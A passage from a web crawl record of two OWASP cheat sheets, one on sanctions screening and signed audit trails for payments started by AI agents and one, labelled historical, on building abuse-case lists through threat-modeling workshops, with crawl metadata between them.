Implementation maintains the [UK Consolidated Sanctions List](https://www.gov.uk/government/publications/financial-sanctions-consolidated-list-of-targets) . Screening is mandatory for all financial transactions regardless of initiation method.\n- **EU Sanctions** : The [EU Consolidated Sanctions List](https://data.europa.eu/data/datasets/consolidated-list-of-persons-groups-and-entities-subject-to-eu-financial-sanctions) applies to all transactions processed through EU-regulated entities. Agent-initiated transactions are not exempt.\n- **OCC BSA/AML Exam Procedures** : [OCC examiners](https://www.occ.treas.gov/topics/supervision-and-examination/bsa/index-bsa.html) assess whether institutions have controls to identify the originator of each transaction. When agents initiate transactions, the institution must demonstrate that agent identity was verified and the transaction was screened.\n\n### Key Principle¶\n\nRegulators do not care whether a transaction was initiated by a human clicking a button or an agent calling an API. The compliance obligations are identical. The burden is on the institution to prove that screening occurred, that the agent was authorized, and that the results are tamper-evident.\n\n## Section 1: Agent Identity Before Screening¶\n\nBefore an agent is permitted to access sanctions screening services or initiate a payment, its identity must be cryptographically verified. Self-declared identity headers (e.g. `X-Agent-ID`, `X-Agent-Role`) without cryptographic proof MUST be rejected. The message-level identity primitives in [Section 7 of the OWASP MCP Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/MCP_Security_Cheat_Sheet.html#7-message-level-integrity-and-replay-defence) apply directly to the agent-payment context.\n\n### Do¶\n\n- Require agents to present a cryptographic identity credential (e.g. signed passport, ECDSA key pair, or verifiable credential) before accessing screening endpoints.\n- Bind the agent's identity to the screening request so the audit trail proves which specific agent performed the check.\n- Verify the agent's trust level before granting access. Not all agents should have the same level of access to sanctions data. Use graduated trust levels (e.g. L0 to L4) with increasing access rights.\n- Record the agent's public key fingerprint or passport ID in every screening request log entry.\n\n### Don't¶\n\n- Accept self-declared identity claims without cryptographic verification.\n- Allow agents to access screening endpoints without authentication.\n- Trust transport-layer identity (TLS client certificates at a load balancer) as the sole proof of agent identity. Message-level identity binding is required.\n- Allow agents to escalate their own trust level or modify their own permissions.\n\n## Section 2: Entity Screening¶\n\nEntity screening against global sanctions lists (OFAC SDN, UK HMT, EU Consolidated, UN Consolidated) remains fundamentally unchanged when agents are the callers. The screening engine matches names, addresses, vessels, and identifiers against the lists. What changes is the context around the screening request. The authoritative source for the United States is the [OFAC Sanctions List Search](https://sanctionssearch.ofac.treas.gov/).\n\n### Do¶\n\n- Screen all counterparties (individuals, businesses, vessels, addresses) against applicable sanctions lists before processing a payment.\n- Include the agent's identity and trust level in the screening context so that downstream systems can distinguish agent-initiated screens from human-initiated screens.\n- Return structured, machine-readable screening results to the agent. Agents cannot interpret PDF reports or HTML pages. Results should be JSON with clear match/no-match/partial-match indicators and match scores.\n- Enforce minimum match thresholds. An agent should not be able to override or lower the match threshold below the institution's configured minimum.\n- Log every screening request and result with the agent's cryptographic identity, a timestamp, and a unique request nonce.\n\n### Don't¶\n\n- Allow agents to bypass screening by calling payment endpoints directly without a prior screening step.\n- Return screening results without signing them. Unsigned results can be tampered with in transit, allowing a compromised intermediary to change a \"match\" to \"no match.\"\n- Allow agents to cache screening results beyond a configurable time window. Sanctions lists are updated frequently and stale results create compliance gaps.\n- Expose raw sanctions list data to agents. Agents should call a screening API, not download the full list.\n\n## Section 3: Agent Operator Screening¶\n\nThe agent itself is software. But the agent has an operator -- the developer, company, or deployer that built and runs it. The agent's operator must also be screened against sanctions lists. The framework for verifying the underlying entity follows the [FinCEN Customer Due Diligence Requirements](https://www.fincen.gov/resources/statutes-regulations/federal-register-notices/customer-due-diligence-requirements) applied to the operator as the regulated counterparty behind the agent.\n\n### Do¶\n\n- Screen the agent's declared operator (organization name, jurisdiction, registration number) against sanctions lists during agent onboarding.\n- Re-screen agent operators periodically (at minimum when sanctions lists are updated) and revoke agent access if the operator becomes sanctioned.\n- Record the operator's screening status as part of the agent's trust profile.\n- Require agents to declare their operator identity as part of their cryptographic passport or identity credential.\n\n### Don't¶\n\n- Assume that because an agent was verified once, its operator remains non-sanctioned indefinitely.\n- Allow agents to operate without a declared operator. Anonymous agents MUST NOT access sanctions screening services.\n- Accept operator identity claims without independent verification against business registries or KYB (Know Your Business) databases.\n\n## Section 4: Signed Audit Trail¶\n\nEvery screening interaction must produce a tamper-evident audit record that a compliance officer or regulator can verify. When agents perform screening, the audit trail must cryptographically bind the agent's identity to the screening request and result. The hash-chained, ECDSA-signed audit-entry pattern used in this section is specified in detail in the [IETF Internet-Draft draft-sharif-mcps-secure-mcp](https://datatracker.ietf.org/doc/draft-sharif-mcps-secure-mcp/).\n\n### Do¶\n\n- Sign every screening request with the agent's private key, including a unique nonce and timestamp.\n- Sign every screening response with the server's private key, including its own nonce and timestamp.\n- Chain audit entries using cryptographic hashes (each entry includes the SHA-256 hash of the previous entry) to create a tamper-evident log.\n- Include in each audit entry: agent identity (public key fingerprint or passport ID), tool invoked, hash of the screening arguments (not the raw arguments, for privacy), screening result (match/no-match/partial), timestamp, and the hash of the previous audit entry.\n- Retain audit records for the period required by applicable regulations (typically 5 years for BSA/AML).\n- Make audit records exportable in a machine-readable format for regulatory examination.\n\n### Don't¶\n\n- Rely on application-level logging (e.g. `console.log` , syslog) as the sole audit trail. These logs are not tamper-evident and can be modified without detection.\n- Store audit records on the agent's device or in agent-controlled storage. Audit records must be stored on infrastructure controlled by the financial institution.\n- Omit the agent's identity from audit records. A screening record that does not identify which agent performed the check is useless for regulatory purposes.\n- Allow gaps in the hash chain. A broken chain indicates tampering or data loss and must trigger an alert.\n\n## Section 5: Fail-Closed Enforcement¶\n\nWhen screening fails -- due to a timeout, service outage, malformed response, or any other error -- the system MUST deny the transaction. Silent pass-through on screening failure is a compliance violation. The fail-closed posture is consistent with the AC-4 information-flow-enforcement and AU-12 audit-record-generation control families defined in [NIST SP 800-53 Revision 5](https://csrc.nist.gov/pubs/sp/800/53/r5/final).\n\n### Do¶\n\n- Deny the payment or transaction if screening cannot be completed successfully.\n- Return a clear, structured error to the agent indicating that screening failed and the transaction cannot proceed.\n- Log all screening failures with the same level of detail as successful screens, including the reason for failure.\n- Alert compliance teams when screening failure rates exceed a threshold, as this may indicate a denial-of-service attack designed to force fail-open behavior.\n- Implement circuit breakers that halt agent-initiated payments entirely if the screening service is unavailable for an extended period.\n\n### Don't¶\n\n- Allow transactions to proceed when screening results are unavailable, ambiguous, or timed out.\n- Implement fallback logic that bypasses screening under any condition.\n- Allow agents to retry screening indefinitely without rate limiting (this could be used to probe for timing-based information leakage).\n- Return generic errors that do not distinguish between \"screening service unavailable\" and \"screening completed with a match.\"\n\n## Section 6: Trust-Tiered Rate Limiting¶\n\nNot all agents should be treated equally. Unverified or low-trust agents should be rate-limited more aggressively than verified, high-trust agents. Rate limiting should be based on the agent's cryptographic identity, not IP address (which can be shared or spoofed). This pattern operationalises [OWASP API Security Top 10 API4:2023 (Unrestricted Resource Consumption)](https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/) in the agent-payment context.\n\n### Do¶\n\n- Implement per-agent rate limits based on cryptographic identity (public key fingerprint or passport ID).\n- Set lower rate limits for newly registered or low-trust agents (e.g. L0/L1) and higher limits for verified, high-trust agents (e.g. L3/L4).\n- Include rate limit status in screening responses (remaining quota, reset time) so agents can adjust their behavior.\n- Downgrade an agent's rate limit allocation if anomalous behavior is detected (e.g. sudden spike in screening requests, unusual entity patterns).\n\n### Don't¶\n\n- Apply rate limits based solely on IP address. Multiple agents may share an IP, and a single agent may use multiple IPs.\n- Set rate limits so high that they provide no meaningful protection against abuse.\n- Allow agents to circumvent rate limits by creating multiple identities. Tie agent identities to verified operator accounts to prevent sybil attacks.\n\n## Section 7: Self-Hosted vs Hosted Screening Architecture¶\n\nInstitutions must decide whether to run their own screening engine or use a hosted screening API. Both architectures are valid, but each has different security considerations when agents are the callers. The microservice-boundary trust posture in this section follows [NIST SP 800-209 (Security Guidelines for Storage Infrastructure)](https://csrc.nist.gov/pubs/sp/800/209/final) applied to the screening service plane.\n\n### Self-Hosted Screening¶\n\n- The institution maintains the sanctions lists, the matching engine, and the screening API on its own infrastructure.\n- Agent requests stay within the institution's network boundary.\n- The institution has full control over list update frequency, matching algorithms, and data retention.\n- Requires operational investment in list ingestion, normalization, and matching quality.\n\n### Hosted Screening (Third-Party API)¶\n\n- The institution calls a third-party screening API (e.g. a sanctions screening provider).\n- Agent identity credentials and screening data leave the institution's network boundary.\n- The institution must ensure the third-party provider meets applicable regulatory requirements.\n- Data minimization principles apply -- send only the minimum data needed for screening, not the agent's full context.\n\n### Do¶\n\n- Encrypt all screening requests in transit (TLS 1.2 minimum) regardless of architecture.\n- Sign screening requests at the message level (not just transport level) to ensure integrity through intermediaries, CDNs, or proxies.\n- Verify the screening provider's response signatures if using a hosted service.\n\n### Don't¶\n\n- Send agent private keys or full identity credentials to a third-party screening provider. Send only the minimum identity attributes needed.\n- Assume that TLS alone provides sufficient integrity. After TLS termination at a load balancer or CDN, the plaintext request is visible to downstream components.\n\n## Section 8: Receipt Canonicalization (RFC 8785 / JCS)¶\n\nA compliance receipt is only verifiable across systems if every party serializes it to the **exact same bytes** before signing and verifying. JSON permits variable key order, whitespace, and number formatting, so two systems can produce different byte streams for the *same* logical receipt, and a signature over one will fail against the other.\n\nUse the **JSON Canonicalization Scheme (JCS), [RFC 8785](https://www.rfc-editor.org/rfc/rfc8785)**, to produce a deterministic byte representation before hashing and signing. The signer canonicalizes, hashes (for example with SHA-256), then signs; every verifier canonicalizes the received receipt identically and checks the signature. This makes receipts verifiable by **any** counterparty, regulator, or downstream agent, not just the issuing system.\n\n### Do¶\n\n- Canonicalize every receipt with RFC 8785 (JCS) before signing, and again before verifying.\n- Sign over the hash of the canonical bytes, not raw or pretty-printed JSON.\n- Record the canonicalization, hash, and signature algorithm in the receipt (for example `canon: jcs` , `alg: ecdsa-p256-sha256` ) so any verifier can reproduce it.\n\n### Don't¶\n\n- Don't sign framework-default or pretty-printed JSON, because key order or whitespace differences break cross-system verification.\n- Don't assume two services emit identical JSON for the same object; they usually will not.\n\n## Section 9: Cross-Agent Payment Accountability¶\n\nAgent payments often traverse multiple agents (orchestrator to sub-agent to service). If the compliance receipt stays only with the issuing system, accountability is lost at the first hop. The signed receipt MUST **travel with the transaction** so every downstream party can independently verify who was screened, against which lists, and what was decided, without trusting an upstream agent's word.\n\nBind each receipt to the specific transaction (include the transaction or intent hash in the signed payload) and propagate it end-to-end. Each hop verifies the inbound receipt and, if it takes its own action, appends its own signed receipt, producing a verifiable chain of accountability across agents. Message-level integrity and replay defense for such receipts is covered in [Section 7 of the OWASP MCP Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/MCP_Security_Cheat_Sheet.html#7-message-level-integrity-and-replay-defence).\n\n### Do¶\n\n- Attach the signed compliance receipt to the transaction and propagate it across every agent hop.\n- Bind each receipt to the transaction by signing over the transaction or intent hash.\n- At each hop, verify the inbound receipt before acting, and append a new signed receipt for any action taken.\n\n### Don't¶\n\n- Don't keep the receipt only in the issuing system's logs, because downstream agents then cannot prove screening occurred.\n- Don't let a downstream agent rely on an upstream agent's unverifiable claim that screening happened.\n\n## Section 10: Binding Sanctions-List Freshness to the Receipt¶\n\nA receipt stating \"screened, no match\" is meaningless without which version of the list, and as of when. Sanctions lists change frequently; a clean screen against a stale list is a compliance gap. Bind the **list version and timestamp** into the signed receipt so screening freshness is itself non-tamperable and auditable. Public sanctions sources such as the [OFAC Sanctions List Search](https://sanctionssearch.ofac.treas.gov/) and the [EU Consolidated Sanctions List](https://data.europa.eu/data/datasets/consolidated-list-of-persons-groups-and-entities-subject-to-eu-financial-sanctions) change frequently, so the version screened against must be recorded.\n\n### Do¶\n\n- Include the sanctions-list source(s), version or publication date, and screening timestamp **inside the signed receipt** .\n- Define a maximum acceptable list age, record it in the receipt, and fail-closed if it is exceeded.\n- Make list freshness auditable after the fact from the receipt alone.\n\n### Don't¶\n\n- Don't assert a screening result without recording the list version and date it was screened against.\n- Don't treat \"screened\" as a boolean; a clean result against an out-of-date list is not compliant.\n\n## Section 11: Regulatory Mapping¶\n\nThe controls in this cheat sheet map to common AML and sanctions obligations. This mapping is illustrative and is not legal advice; obligations vary by jurisdiction. For underlying obligations see, for example, the [Bank Secrecy Act](https://www.fincen.gov/index.php/resources/statutes-and-regulations/bank-secrecy-act) and [FinCEN Customer Due Diligence Requirements](https://www.fincen.gov/resources/statutes-regulations/federal-register-notices/customer-due-diligence-requirements).\n\n| Control (this cheat sheet) | Maps to |\n| --- | --- |\n| Agent identity before screening (Section 1) | KYC/KYB attribution; FATF Recommendation 10 (Customer Due Diligence) |\n| Entity and operator screening (Sections 2-3) | OFAC, EU, UK, and UN sanctions screening; FATF Recommendation 6 |\n| Signed audit trail and receipt (Sections 4, 8-10) | Recordkeeping; FATF Recommendation 11; multi-year retention (BSA, EU AMLD) |\n| Sanctions-list freshness in receipt (Section 10) | Obligation to screen against current lists; sanctions-evasion controls |\n| Fail-closed enforcement (Section 5) | Blocking obligations for sanctioned parties |\n| Trust-tiered limits (Section 6) | Risk-based approach (FATF Recommendation 1); monitoring thresholds |\n\n### Do¶\n\n- Treat this table as a starting point and confirm specific obligations with qualified counsel for each operating jurisdiction.\n\n### Don't¶\n\n- Don't rely on a single jurisdiction's lists or rules for a cross-border agent payment system.\n\n## Section 12: Do's and Don'ts Summary¶\n\nThe consolidated controls below align with the AI-system-specific verification requirements in the [OWASP Artificial Intelligence Security Verification Standard (AISVS)](https://github.com/OWASP/AISVS), in particular Chapter 10 (MCP Security Requirements).\n\n### Do¶\n\n- Verify agent identity cryptographically before every screening request.\n- Sign every screening request and response with unique nonces and timestamps.\n- Screen both the counterparty entity and the agent's operator against sanctions lists.\n- Maintain a hash-chained, tamper-evident audit trail of every screening interaction.\n- Fail closed on any screening error, timeout, or ambiguous result.\n- Rate limit based on cryptographic agent identity, not IP address.\n- Apply graduated trust levels with different access rights and rate limits.\n- Re-screen agent operators periodically as sanctions lists are updated.\n- Make audit records exportable for regulatory examination.\n\n### Don't¶\n\n- Accept self-declared agent identity without cryptographic proof.\n- Allow transactions to proceed when screening fails or is unavailable.\n- Store audit records in agent-controlled infrastructure.\n- Cache screening results beyond a configurable time window.\n- Allow agents to lower match thresholds or override screening results.\n- Rely on transport-layer security (TLS) alone for message integrity.\n- Allow anonymous agents to access screening services.\n- Assume that a one-time identity check is sufficient for ongoing access.\n\n## References¶\n\n- [OWASP MCP Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/MCP_Security_Cheat_Sheet.html) -- Section 7: Message-Level Integrity\n- [OWASP Artificial Intelligence Security Verification Standard (AISVS)](https://github.com/OWASP/AISVS) -- Chapter 10: MCP Security Requirements\n- [OWASP MCP Top 10](https://owasp.org/www-project-mcp-top-10/) -- MCP01 (Token Mismanagement), MCP07 (Insufficient Auth), MCP08 (Lack of Audit)\n- [OWASP API Security Top 10 (2023)](https://owasp.org/API-Security/editions/2023/en/0x00-header/) -- API4 Unrestricted Resource Consumption\n- [IETF draft-sharif-mcps-secure-mcp](https://datatracker.ietf.org/doc/draft-sharif-mcps-secure-mcp/) -- Cryptographic Security Layer for MCP\n- [NIST SP 800-53 Revision 5](https://csrc.nist.gov/pubs/sp/800/53/r5/final) -- Security and Privacy Controls for Information Systems and Organizations\n- [NIST SP 800-209](https://csrc.nist.gov/pubs/sp/800/209/final) -- Security Guidelines for Storage Infrastructure\n- [OFAC Sanctions List Search](https://sanctionssearch.ofac.treas.gov/)\n- [UK HM Treasury Consolidated Sanctions List](https://www.gov.uk/government/publications/financial-sanctions-consolidated-list-of-targets)\n- [EU Consolidated Financial Sanctions List](https://data.europa.eu/data/datasets/consolidated-list-of-persons-groups-and-entities-subject-to-eu-financial-sanctions)\n- [FinCEN](https://www.fincen.gov/) -- BSA / AML regulations and SAR filings\n- [FinCEN Customer Due Diligence (CDD) Requirements](https://www.fincen.gov/resources/statutes-regulations/federal-register-notices/customer-due-diligence-requirements)\n- [OCC BSA/AML Examination Procedures](https://www.occ.treas.gov/topics/supervision-and-examination/bsa/index-bsa.html)", "znaku_textu": 23622, "slov": 3195, "odkazu": 190, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:33", "sha256": "383b33b7e3e0d041ee38652173c59476cc961bbacd35cc385ef9735cb70c24d8", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://www.fincen.gov/index.php/resources/statutes-and-regulations/bank-secrecy-act", "https://www.fincen.gov/", "https://www.gov.uk/government/publications/financial-sanctions-consolidated-list-of-targets", "https://data.europa.eu/data/datasets/consolidated-list-of-persons-groups-and-entities-subject-to-eu-financial-sanctions", "https://www.occ.treas.gov/topics/supervision-and-examination/bsa/index-bsa.html", "https://sanctionssearch.ofac.treas.gov/", "https://www.fincen.gov/resources/statutes-regulations/federal-register-notices/customer-due-diligence-requirements", "https://datatracker.ietf.org/doc/draft-sharif-mcps-secure-mcp/", "https://csrc.nist.gov/pubs/sp/800/53/r5/final", "https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/", "https://csrc.nist.gov/pubs/sp/800/209/final", "https://www.rfc-editor.org/rfc/rfc8785", "https://github.com/OWASP/AISVS", "https://owasp.org/www-project-mcp-top-10/", "https://owasp.org/API-Security/editions/2023/en/0x00-header/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Abuse_Case_Cheat_Sheet.html", "titulek": "Abuse Case - OWASP Cheat Sheet Series", "h1": "Abuse Case Cheat Sheet (Historical)¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Abuse_Case_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Abuse Case Cheat Sheet (Historical)¶"}, {"uroven": 2, "text": "Archive Statement¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 3, "text": "Objective¶"}, {"uroven": 3, "text": "Context & approach¶"}, {"uroven": 4, "text": "Why clearly identify the attacks¶"}, {"uroven": 4, "text": "Notion of Abuse Cases¶"}, {"uroven": 4, "text": "How to define the list of Abuse Cases¶"}, {"uroven": 4, "text": "When to define the list of Abuse Cases¶"}, {"uroven": 3, "text": "Proposal¶"}, {"uroven": 4, "text": "Step 1: Preparation of the workshop¶"}, {"uroven": 4, "text": "Step 2: During the workshop¶"}, {"uroven": 4, "text": "Step 3: After the workshop¶"}, {"uroven": 4, "text": "Step 4: During implementation - Abuse cases handling tracking¶"}, {"uroven": 4, "text": "Step 5: During implementation - Abuse cases handling validation¶"}, {"uroven": 3, "text": "Example of derivation of Abuse Cases as User Stories¶"}, {"uroven": 4, "text": "A1:2017-Injection¶"}, {"uroven": 4, "text": "A2:2017-Broken Authentication¶"}, {"uroven": 4, "text": "A3:2017-Sensitive Data Exposure¶"}, {"uroven": 4, "text": "A4:2017-XML External Entities (XXE)¶"}, {"uroven": 4, "text": "A5:2017-Broken Access Control¶"}, {"uroven": 4, "text": "A6:2017-Security Misconfiguration¶"}, {"uroven": 4, "text": "A7:2017-Cross-Site Scripting (XSS)¶"}, {"uroven": 4, "text": "A8:2017-Insecure Deserialization¶"}, {"uroven": 4, "text": "A9:2017-Using Components with Known Vulnerabilities¶"}, {"uroven": 4, "text": "A10:2017-Insufficient Logging & Monitoring¶"}, {"uroven": 2, "text": "Sources of the schemas¶"}], "markdown": "# Abuse Case Cheat Sheet (Historical)¶\n\n## Archive Statement¶\n\nReviewers have identified that abuse cases are rarely used in practice. Additionally, the material is presented as a \"getting started tutorial\" which isn't appropriate for the cheat sheet series.\n\n## Introduction¶\n\nOften when the security level of an application is mentioned in requirements, the following *expressions* are met:\n\n- *The application must be secure* .\n- *The application must defend against all attacks targeting this category of application* .\n- *The application must defend against attacks from the OWASP TOP 10*\n- ...\n\nThese security requirements are too generic, and thus useless for a development team...\n\nIn order to build a secure application, from a pragmatic point of view, it is important to identify the attacks which the application must defend against, according to its business and technical context. Abuse cases were a frequently recommended *threat modeling* technique, and reviewing the [threat modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html) cheat sheet may be helpful. In practice, the abuse case framework seems heavyweight and there are few published examples or success stories.\n\n### Objective¶\n\nThe objective of this cheat sheet is to provide an explanation of what an **Abuse Case** is, how abuse cases can be important when considering the security of an application, and finally to provide a proposal for a pragmatic approach to building a list of abuse cases and tracking them for every feature planned for implementation as part of an application. The cheat sheet may be used for this purpose regardless of the project methodology used (waterfall or agile).\n\n**Important note about this Cheat Sheet:**\n\n```\nThe main objective is to provide a pragmatic approach in order to allow a company or a project team\nto start building and handling the list of abuse cases and then customize the elements\nproposed to its context/culture in order to, finally, build its own method.\n\nThis cheat sheet can be seen as a getting-started tutorial.\n```\n\n### Context & approach¶\n\n#### Why clearly identify the attacks¶\n\nClearly identifying the attacks against which the application must defend is essential in order to enable the following steps in a project or sprint:\n\n- Evaluate the business risk for each of the identified attacks in order to perform a selection according to the business risk and the project/sprint budget.\n- Derive security requirements and add them into the project specification or sprint's user stories and acceptance criteria.\n- Estimate the overhead of provision in the initial project/sprint charge that will be necessary to implement the countermeasures.\n- About countermeasures: Allow the project team to define them, and to determine in which location (network, infrastructure, code...) they should be located.\n\n#### Notion of Abuse Cases¶\n\nYou can think of **Abuse cases** in two ways. The first is to discover attacks (answer the question \"what can go wrong\"), and the second is to help record those attacks (informally, this includes threats, issues, risks) in a form that may be less intimidating to developers.\n\nAn **Abuse Case** can be defined as:\n\n```\nA way to use a feature that was not expected by the implementer,\nallowing an attacker to influence the feature or outcome of use of\nthe feature based on the attacker action (or input).\n```\n\nSynopsis defines an **Abuse Case** like this:\n\n```\nMisuse and abuse cases describe how users misuse or exploit the weaknesses\nof controls in software features to attack an application.\n\nThis can lead to tangible business impact when a direct attack against\nbusiness functionalities, which may bring in revenue or provide\npositive user experience, are attacked.\n\nAbuse cases can also be an effective way to drive security requirements\nthat lead to proper protection of these critical business use cases.\n```\n\n[Synopsis source](https://www.synopsys.com/blogs/software-security/abuse-cases-can-drive-security-requirements.html)\n\n#### How to define the list of Abuse Cases¶\n\nThere are many different ways to define the list of abuse cases for a feature (that can be mapped to a user story in agile projects).\n\n[Threat Modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html) is a set of techniques for anticipating what can go wrong, and ensuring we do something about each identified possible scenario. Taking each item on the list of \"what are we going to do about it\" and writing an abuse case may help your engineering teams process the output.\n\nThe project [OWASP Open SAMM](https://owasp.org/www-project-samm/) proposes the following approach in the *Stream B* of the Security Practice *Requirements Driven Testing* for the Maturity level 2:\n\n```\nMisuse and abuse cases describe unintended and malicious use scenarios of the application, describing how an attacker could do this. Create misuse and abuse cases to misuse or exploit the weaknesses of controls in software features to attack an application. Use abuse-case models for an application to serve as fuel for identification of concrete security tests that directly or indirectly exploit the abuse scenarios.\n\nAbuse of functionality, sometimes referred to as a “business logic attack”, depends on the design and implementation of application functions and features. An example is using a password reset flow to enumerate accounts. As part of business logic testing, identify the business rules that are important for the application and turn them into experiments to verify whether the application properly enforces the business rule. For example, on a stock trading application, is the attacker allowed to start a trade at the beginning of the day and lock in a price, hold the transaction open until the end of the day, then complete the sale if the stock price has risen or cancel if the price dropped?\n```\n\nOpen SAMM source: [Verification Requirement Driven Testing Stream B](https://owaspsamm.org/model/verification/requirements-driven-testing/stream-b/)\n\nAnother way to achieve the building of the list can be the following (more bottom-up and collaboratively oriented):\n\nMake a workshop that includes people with the following profiles:\n\n- **Business analyst** : Will be the business key people that will describe each feature from a business point of view.\n- **Risk analyst** : Will be the company's risk personnel that will evaluate the business risk from a proposed attack (sometimes it is the **Business analyst** depending on the company).\n- **Penetration tester** : Will be the *attacker* that will propose attacks that they can perform on the business feature(s) in question. If the company does not have a person with this profile then it is possible to request the service of an external specialist. If possible, include 2 penetration testers with different backgrounds in order to increase the number of possible attacks that will be identified and considered.\n- **Technical leaders of the projects** : Will be the project technical people and will allow technical exchange about attacks and countermeasures identified during the workshop.\n- **Quality assurance analyst or functional tester** : Personnel that may have a good sense of how the application/functionality is intended to work (positive testing), not work (negative testing), and what things cause it to fail (failure cases).\n\nDuring this workshop (duration will depend on the size of the feature list, but 4 hours is a good start) all business features that will be part of the project or the sprint will be processed. The output of the workshop will be a list of attacks (abuse cases) for all business features. All abuse cases will have a risk rating that allows for filtering and prioritization.\n\nIt is important to take into account **Technical** and **Business** kind of abuse cases and mark them accordingly.\n\n*Example:*\n\n- Technical flagged abuse case: Add Cross Site Scripting injection into a comment input field.\n- Business flagged abuse case: Ability to arbitrarily modify the price of an article in an online shop prior to passing an order causing the user to pay a lower amount for the wanted article.\n\n#### When to define the list of Abuse Cases¶\n\nIn agile projects, the definition workshop must be made after the meeting in which User Stories are included in a Sprint.\n\nIn waterfall projects, the definition workshop must be made when the business features to implement are identified and known by the business.\n\nWhatever the mode of the project used (agile or waterfall), the abuse cases selected to be addressed must become security requirements in each feature specification section (waterfall) or User Story acceptance criteria (agile) in order to allow additional cost/effort evaluation, identification and implementation of the countermeasures.\n\nEach abuse case must have a unique identifier in order to allow tracking throughout the whole project/sprint (details about this point will be given in the proposal section).\n\nAn example of unique ID format can be **ABUSE_CASE_001**.\n\nThe following figure provides an overview of the chaining of the different steps involved (from left to right):\n\n### Proposal¶\n\nThe proposal will focus on the output of the workshop explained in the previous section.\n\n#### Step 1: Preparation of the workshop¶\n\nFirst, even if it seems obvious, the key business people must be sure to know, understand and be able to explain the business features that will be processed during the workshop.\n\nSecondly, create a new Microsoft Excel file (you can also use Google Sheets or any other similar software) with the following sheets (or tabs):\n\n- **FEATURES**\n - Will contain a table with the list of business features planned for the workshop.\n- **ABUSE CASES**\n - Will contain a table with all abuse cases identified during the workshop.\n- **COUNTERMEASURES**\n - Will contain a table with the list of possible countermeasures (light description) imagined for the abuse cases identified.\n - This sheet is not mandatory, but it can be useful (for an abuse case to know), if a fix is easy to implement and then can impact the risk rating.\n - Countermeasures can be identified by the AppSec profile during the workshop, because an AppSec person must be able to perform attacks but also to build or identify defenses (it is not always the case for the Pentester profile because this person's focus is generally on the attack side only, so, the combination Pentester + AppSec is very efficient to have a 360 degree view).\n\nThis is the representation of each sheet along with an example of content that will be filled during the workshop:\n\n*FEATURES* sheet:\n\n| Feature unique ID | Feature name | Feature short description |\n| --- | --- | --- |\n| FEATURE_001 | DocumentUploadFeature | Allow user to upload document along a message |\n\n*COUNTERMEASURES* sheet:\n\n| Countermeasure unique ID | Countermeasure short description | Countermeasure help/hint |\n| --- | --- | --- |\n| DEFENSE_001 | Validate the uploaded file by loading it into a parser | Use advice from the OWASP Cheat Sheet about file upload |\n\n*ABUSE CASES* sheet:\n\n| Abuse case unique ID | Feature ID impacted | Abuse case's attack description | Attack referential ID (if applicable) | CVSS V3 risk rating (score) | CVSS V3 string | Kind of abuse case | Countermeasure ID applicable | Handling decision (To Address or Risk Accepted) |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| ABUSE_CASE_001 | FEATURE_001 | Upload Office file with malicious macro in charge of dropping a malware | CAPEC-17 | HIGH (7.7) | CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:H | Technical | DEFENSE_001 | To Address |\n\n#### Step 2: During the workshop¶\n\nUse the spreadsheet to review all the features.\n\nFor each feature, follow this flow:\n\n1. Key business people explain the current feature from a business point of view.\n2. Penetration testers propose and explain a set of attacks that they can perform against the feature.\n3. For each attack proposed:\n4. Appsec proposes a countermeasure and a preferred set up location (infrastructure, network, code, design...).\n5. Technical people give feedback about the feasibility of the proposed countermeasure.\n6. Penetration testers use the CVSS v3 (or other standard) calculator to determine a risk rating. (ex: [CVSS V3 calculator](https://www.first.org/cvss/calculator/3.0) )\n7. Risk leaders should accept or modify the risk rating to determine the final risk score which accurately reflects the real business impact for the company.\n8. Business, Risk, and Technical leaders should find a consensus and filter the list of abuses for the current feature to keep the ones that must be addressed, and then flag them accordingly in the *ABUSE CASES* sheet (**if risk is accepted then add a comment to explain why**).\n9. Pass to next feature...\n\nIf the presence of penetration testers is not possible then you can use the following references to identify the applicable attacks on your features:\n\n- [OWASP Automated Threats to Web Applications](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/stable/)\n- [OWASP Mobile Testing Guide](https://github.com/OWASP/owasp-mstg)\n- [Common Attack Pattern Enumeration and Classification (CAPEC)](https://capec.mitre.org/)\n\nImportant note on attacks and countermeasure knowledge base(s):\n\n```\nWith time and experience across projects, you will obtain your own dictionary of attacks and countermeasures\nthat are applicable to the kind of application in your business domain.\n\nThis dictionary will speed up the future workshops in a significant way.\n\nTo promote the creation of this dictionary, you can, at the end of the project/sprint, gather the list\nof attacks and countermeasures identified in a central location (wiki, database, file...) that will be\nused during the next workshop in combination with input from penetration testers.\n```\n\n#### Step 3: After the workshop¶\n\nThe spreadsheet contains (at this stage) the list of all abuse cases that must be handled and, potentially (depending on the capacity) corresponding countermeasures.\n\nNow, there are two remaining task:\n\n1. Key business people must update the specification of each feature (waterfall) or the User Story of each feature (agile) to include the associated abuse cases as Security Requirements (waterfall) or Acceptance Criteria (agile).\n2. Key technical people must evaluate the overhead in terms of expense/effort to take into account the countermeasure.\n\n#### Step 4: During implementation - Abuse cases handling tracking¶\n\nIn order to track the handling of all the abuse cases, the following approach can be used:\n\nIf one or several abuse cases are handled at:\n\n- **Design, Infrastructure or Network level**\n - 